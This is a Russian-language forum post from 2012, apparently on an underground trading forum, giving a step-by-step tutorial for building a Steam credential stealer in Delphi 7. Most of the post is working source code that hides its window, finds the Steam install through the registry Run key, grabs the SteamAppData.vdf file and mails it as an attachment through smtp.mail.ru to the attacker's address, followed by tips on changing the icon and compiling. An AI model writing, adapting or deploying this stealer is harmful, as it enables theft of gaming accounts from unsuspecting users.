ShopWorld
Вернуться ShopWorld > Статьи и обсуждение > Программирование > С/С++, C#, Delphi, .NET, Asm
 

Ответ
 
Опции темы Опции просмотра
 
Старый 30.06.2012, 21:52   #1
-NegaTiV-
Проверяющий
 
Аватар для -NegaTiV-
 
Регистрация: 14.03.2012
Адрес: 666
Сообщений: 595

Сказали спасибо: 196

3223222

Проверено Создаем стиллер Steam на Delphi

Сегодня мы будем писать свой стиллер на Delphi 7.
Он будет много весить ~800кб (да я знаю консоль + winsock рулят но мне было лень).

И так что нам нужно будет реализовать:
1. Поиск папки стима и самого файла с пассами
2. Отправка файла на почту.

Поехали.

Откроем Delphi 7, создадим проект. Создали? идем дальше.
Чтобы формы не было при открытии стиллера добавим строку.

[DELPHI]Application.ShowMainForm:= False;[/DELPHI]

Для работы с реестром в Uses пропишем Registry;
Добавим компонент IdAntiFreeze из вкладки IndyMisc
Добавим переменнные

[DELPHI]var
Form1: TForm1;
m:TIdMessage;
sm:tidsmtp;
att:tidattachment;[/DELPHI]


Создадим процедуру для коннекта и отправки файла


[DELPHI]procedure send(pathSteam, login, pass, kuda:string);
begin
m:=TIdMessage.create(form1);
m.From.Text:=login; //логин отправителя
m.Recipients.Add;
m.Recipients.Items[0].Text:=kuda; // Кому
m.Subject:='Привет мой друг';// тема
m.Body.Text:='Это тебе ;)';// текст
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.mail.ru'; //smtp-адрес
att:=TIdAttachment.Create(m.MessageParts,pathSteam );
sm.Username:=login; //логин отправителя
sm.Password:=pass; //пароль отправителя
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end;[/DELPHI]



[DELPHI]function ReadReg(root:integer; t,key:string):string;
var
s:string;
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := root;
reg.OpenKey(key, true);
case reg.Getdatatype(t) of
rdString, rdExpandString:
s:= reg.ReadString(t);
rdInteger:
s:= IntToStr(reg.readinteger(t));
else
s:='other type';
end;
result:=s;
reg.Free;
end;[/DELPHI]


[DELPHI]function Pars(TextIn, Text, TextOut: string): string;
var
TempStr: string;
begin
Result := '';
TempStr := Text;
TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
Result := TempStr;
end;[/DELPHI]


Кликаем 2раза по форме
Применим процедуры


procedure TForm1.FormCreate(Sender: TObject);
var
regpath, path:string;
begin
regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Softw are\Microsoft\Windows\CurrentVersion\Run');
path:=Pars('"',regpath, '"');
path:=ExtractFilePath(path)+'config\SteamAppData.v df';
send(path, 'логин@mail.ru', 'пароль', 'Куда слать@mail.ru');
end;


Все. С кодом мы закончили. Теперь приступим с изменению иконки и компиляции.

Изменить иконку не составит проблем.
Сохраним проект.
File -> Save as -> Обязательно выберите отдельную папку.

Компилируем
Сам exe файл соранен в вашу папку с проектом.
Все стиллер готов.










Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 сообщение(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
__________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
-NegaTiV- вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Внимание посетители ShopWorld.biz
                                       У нас проводится Набор модераторов.
                                       Правила раздела: Покупка / Продажа / Обмен / Услуги
                                       Проверка ваших тем администрацией.(Раздел "Торговля")
                                       Пожелания по работе форума и Реклама на форуме.
                                       Советуем заглянуть вам в раздел Торговля и Статьи и обсуждение или World navigation
                                       Для связи с администрацией пишите в icq: 6506666 или в ЛС.
                                       Администрация не несет ответственности за причиненный вред пользователям и от других пользователей(пользуйтесь гарантом),
                                       Все материалы размещенные на сайте предоставленны в ознакомительных целях.
                                       Ап темы в разделе Покупка / Продажа / Обмен / Услуги раз в 5 дней, как апать тему читаем тут.
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Создаем стиллер Steam на Delphi -NegaTiV- С/С++, C#, Delphi, .NET, Asm 2 06.10.2014 16:25
Исходники Delphi n\A С/С++, C#, Delphi, .NET, Asm 4 14.07.2012 18:48
Продам: Steam OutLife Steam 0 08.12.2011 01:41
Создаем Свой CS 1.6 Non-Steam Сервер †SHYLLER†™ Counter Strike 1.6 0 07.01.2011 03:42
steam id alice2k Counter Strike 1.6 0 31.12.2010 18:16


Текущее время: 08:48. Часовой пояс GMT +5.

Автор ShopWorld: †SHYLLER†
Яндекс.Метрика